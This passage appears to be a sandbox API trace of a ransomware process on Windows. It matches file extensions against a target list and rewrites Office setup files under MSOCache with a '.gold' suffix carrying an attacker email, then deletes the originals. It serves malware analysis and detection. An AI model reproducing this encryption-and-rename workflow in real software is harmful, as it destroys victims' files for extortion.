[0034.593] lstrlenW (lpString=".7z") returned 3 [0034.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString=".dbf") returned 4 [0034.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString=".1cd") returned 4 [0034.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString=".jpg") returned 4 [0034.593] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString=".doc") returned 4 [0034.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString=".docx") returned 5 [0034.594] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.594] lstrlenW (lpString=".pdf") returned 4 [0034.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString=".xls") returned 4 [0034.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString=".xlsx") returned 5 [0034.594] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.594] lstrlenW (lpString=".ppt") returned 4 [0034.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString=".zip") returned 4 [0034.594] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.594] lstrlenW (lpString=".rar") returned 4 [0034.594] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString=".bz2") returned 4 [0034.594] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString=".7z") returned 3 [0034.594] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString=".dbf") returned 4 [0034.594] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString=".1cd") returned 4 [0034.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.594] lstrlenW (lpString=".jpg") returned 4 [0034.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.594] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.594] lstrlenW (lpString="Setup.xml") returned 9 [0034.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.595] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4207) returned 1 [0034.595] CloseHandle (hObject=0x188) returned 1 [0034.595] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.595] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.595] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.595] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.595] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.595] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.595] GetLastError () returned 0x0 [0034.595] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x106f, lpOverlapped=0x0) returned 1 [0034.600] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0034.601] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.601] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.601] SetEndOfFile (hFile=0x18c) returned 1 [0034.601] CloseHandle (hObject=0x18c) returned 1 [0034.602] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.602] SetEndOfFile (hFile=0x188) returned 1 [0034.602] CloseHandle (hObject=0x188) returned 1 [0034.602] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.603] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString=".doc") returned 4 [0034.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString=".docx") returned 5 [0034.603] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.603] lstrlenW (lpString=".pdf") returned 4 [0034.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString=".xls") returned 4 [0034.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString=".xlsx") returned 5 [0034.603] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.603] lstrlenW (lpString=".ppt") returned 4 [0034.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString=".zip") returned 4 [0034.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.603] lstrlenW (lpString=".rar") returned 4 [0034.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString=".bz2") returned 4 [0034.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString=".7z") returned 3 [0034.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString=".dbf") returned 4 [0034.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString=".1cd") returned 4 [0034.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.603] lstrlenW (lpString=".jpg") returned 4 [0034.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString=".doc") returned 4 [0034.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString=".docx") returned 5 [0034.604] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.604] lstrlenW (lpString=".pdf") returned 4 [0034.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString=".xls") returned 4 [0034.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString=".xlsx") returned 5 [0034.604] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.604] lstrlenW (lpString=".ppt") returned 4 [0034.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString=".zip") returned 4 [0034.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.604] lstrlenW (lpString=".rar") returned 4 [0034.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString=".bz2") returned 4 [0034.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString=".7z") returned 3 [0034.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString=".dbf") returned 4 [0034.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString=".1cd") returned 4 [0034.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.604] lstrlenW (lpString=".jpg") returned 4 [0034.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.604] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.604] lstrlenW (lpString="Setup.xml") returned 9 [0034.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.604] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2424) returned 1 [0034.604] CloseHandle (hObject=0x188) returned 1 [0034.605] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.605] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.764] GetLastError () returned 0x0 [0034.764] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x978, lpOverlapped=0x0) returned 1 [0034.782] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x980, lpOverlapped=0x0) returned 1 [0034.783] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.783] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.783] SetEndOfFile (hFile=0x180) returned 1 [0034.783] CloseHandle (hObject=0x180) returned 1 [0034.784] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.784] SetEndOfFile (hFile=0x188) returned 1 [0034.784] CloseHandle (hObject=0x188) returned 1 [0034.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.785] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString=".doc") returned 4 [0034.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString=".docx") returned 5 [0034.785] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.785] lstrlenW (lpString=".pdf") returned 4 [0034.785] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString=".xls") returned 4 [0034.785] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString=".xlsx") returned 5 [0034.785] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.785] lstrlenW (lpString=".ppt") returned 4 [0034.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString=".zip") returned 4 [0034.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.785] lstrlenW (lpString=".rar") returned 4 [0034.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString=".bz2") returned 4 [0034.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString=".7z") returned 3 [0034.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString=".dbf") returned 4 [0034.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString=".1cd") returned 4 [0034.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.785] lstrlenW (lpString=".jpg") returned 4 [0034.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString=".doc") returned 4 [0034.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString=".docx") returned 5 [0034.786] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.786] lstrlenW (lpString=".pdf") returned 4 [0034.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString=".xls") returned 4 [0034.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString=".xlsx") returned 5 [0034.786] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.786] lstrlenW (lpString=".ppt") returned 4 [0034.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString=".zip") returned 4 [0034.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.786] lstrlenW (lpString=".rar") returned 4 [0034.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString=".bz2") returned 4 [0034.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString=".7z") returned 3 [0034.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString=".dbf") returned 4 [0034.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString=".1cd") returned 4 [0034.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.786] lstrlenW (lpString=".jpg") returned 4 [0034.786] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.786] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.786] lstrlenW (lpString="Proofing.xml") returned 12 [0034.786] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.786] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=811) returned 1 [0034.786] CloseHandle (hObject=0x188) returned 1 [0034.787] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0034.787] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.787] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.787] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.787] GetLastError () returned 0x0 [0034.787] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x32b, lpOverlapped=0x0) returned 1 [0034.808] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x330, lpOverlapped=0x0) returned 1 [0034.809] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.809] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.809] SetEndOfFile (hFile=0x180) returned 1 [0034.809] CloseHandle (hObject=0x180) returned 1 [0034.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.810] SetEndOfFile (hFile=0x188) returned 1 [0034.811] CloseHandle (hObject=0x188) returned 1 [0034.811] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.811] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0034.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.811] lstrlenW (lpString=".doc") returned 4 [0034.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.811] lstrlenW (lpString=".docx") returned 5 [0034.811] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.811] lstrlenW (lpString=".pdf") returned 4 [0034.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.811] lstrlenW (lpString=".xls") returned 4 [0034.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.811] lstrlenW (lpString=".xlsx") returned 5 [0034.811] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.811] lstrlenW (lpString=".ppt") returned 4 [0034.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".zip") returned 4 [0034.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.812] lstrlenW (lpString=".rar") returned 4 [0034.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".bz2") returned 4 [0034.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".7z") returned 3 